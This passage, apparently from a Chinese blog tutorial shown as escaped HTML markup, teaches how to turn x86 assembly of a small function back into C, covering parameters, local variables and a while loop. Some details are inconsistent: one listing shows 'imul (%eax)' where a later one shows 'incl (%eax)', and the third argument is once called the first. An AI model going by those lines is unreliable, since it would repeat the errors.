&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">leave&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">37&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ret&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">38&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>我们发现存在 &lt;code>0x10(%ebp)&lt;/code> 因此，参数个数为&lt;code>（16-4）/4&lt;/code> ，也就是是3个。&lt;/p>
&lt;p>因此我们可以写出代码的框架，如下&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>其中 a, b, c 存在的栈的位置分别是 ebp+8，ebp+c，ebp+10&lt;/p>
&lt;p>注意，参数从后向前入栈，因此越接近ebp，参数在参数列表中越靠前。&lt;/p>
&lt;p>注意，我们这里先假设全部都是int类型，如果后续有遇到不一致的情况，我们再来修改&lt;/p>
&lt;h1 id="找到局部变量个数">找到局部变量个数
&lt;/h1>&lt;p>局部变量的个数在代码第三行，&lt;code>sub $0x4, %esp&lt;/code> 这里减去的数量，就是分配的局部变量的长度。&lt;/p>
&lt;p>在上面的代码中，显然这里分配了4字节，也就是只有一个局部变量。我们假设这个局部变量就是int类型，起名为i。&lt;/p>
&lt;p>我们继续扩展我们的代码&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="识别循环体">识别循环体
&lt;/h1>&lt;p>循环体通常是while循环或者for循环。&lt;/p>
&lt;p>对于常见的&lt;code>while&lt;/code>命令，我们寻找下面相关的指令：&lt;/p>
&lt;ul>
&lt;li>判断入口：&lt;/li>
&lt;/ul>
&lt;p>判断入口是一个连续的比较命令（如cmp）和一个跳转命令（如jge或jle）组成。找到判断入口有助于我们识别代码中是否有判断或者循环。&lt;/p>
&lt;ul>
&lt;li>循环：&lt;/li>
&lt;/ul>
&lt;p>假如没有循环标志，那么就不是循环体，而是简单的if判断。循环是一个无条件的jmp命令。循环所跳转的位置就是判断条件的开始。&lt;/p>
&lt;ul>
&lt;li>判断条件：&lt;/li>
&lt;/ul>
&lt;p>判断条件是判断入口以及判断入口和前面几条命令组合成的完整判断条件。判断条件就是while括号里的内容。&lt;/p>
&lt;p>现在我们查看下面的例子：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">push&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">esp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sub&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">esp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0x8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cmp&lt;/span> &lt;span class="mh">0x10&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jge&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">18&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0xc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">imul&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">lea&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">imul&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jmp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">leave&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">37&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ret&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">38&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>判断入口：&lt;/p>
&lt;p>我们寻找一个连续的判断指令和一个跳转指令，我们可以找到 cmp 和 jge 这两个连续指令，就说明这里是判断入口。&lt;/p>
&lt;p>循环：&lt;/p>
&lt;p>我们看到，最后存在一个jmp命令，jmp命令指向了第foo+12的位置，因此foo+12就是循环的判断条件。&lt;/p>
&lt;p>判断条件：&lt;/p>
&lt;p>判断条件的第一句是 &lt;code>mov -0x4(%ebp), %eax&lt;/code> ，其中 &lt;code>-0x4(%ebp)&lt;/code> 是最后一个局部变量，由于我们只有一个局部变量 i ，因此这句话的意思是，将本地变量i的值赋值给 eax。&lt;/p>
&lt;p>我们看到cmp的命令是：&lt;code>cmp 0x10(%ebp), %eax&lt;/code> ，其中&lt;code>cmp 0x10(%ebp)&lt;/code> 指第三个入参的值。这句话的意思是计算 eax 寄存器中减去第一个入参的数值，也就是c。&lt;/p>
&lt;p>联合起来，我们就知道，这里是计算 i - c的值，并交给 jge 来做跳转。&lt;/p>
&lt;p>由于汇编的条件判断和C语言条件判断是反过来的，汇编是满足判断则跳过循环体，而C语言是满足条件则执行循环体，因此我们的判断条件也是反过来的。&lt;/p>
&lt;p>jge表示大于等于0则跳过循环体，因此C语言的循环条件是小于0则执行循环体，也就是判断 i - c 是否小于 0&lt;/p>
&lt;p>因此我们可以继续完善我们的代码:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="解析剩余代码片段">解析剩余代码片段
&lt;/h1>&lt;p>首先标记下已经处理过的代码&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">push&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">无用&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">esp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">无用&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sub&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">esp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">分配了几个局部变量&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0x8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">判断条件开始&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cmp&lt;/span> &lt;span class="mh">0x10&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">判断内容&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jge&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">18&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">判断条件结束&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0xc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">incl&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">lea&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">incl&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">jmp&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="err">循环结束&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="mh">0x0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">leave&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">37&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ret&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">38&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ol>
&lt;li>循环体之前的代码&lt;/li>
&lt;/ol>
&lt;p>我们看一下循环开始之前的部分：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="mh">0x8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">mov&lt;/span> &lt;span class="o">%&lt;/span>&lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mh">0x4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">ebp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">foo&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>我们发现这两句都涉及到了 eax 寄存器&lt;/p>
&lt;p>对于多条涉及eax 寄存器的操作，我们尽量当作一个整体来看&lt;/p>
&lt;p>我们发现，其实这里就是将 &lt;code>0x8(%ebp)&lt;/code> 的数值 赋值给了 &lt;code>-0x4(%ebp)&lt;/code> ，这两个值分别是 a 和 i&lt;/p>
&lt;p>因此这个部分的代码是&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ol start="2">
&lt;li>循环体中间的代码&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
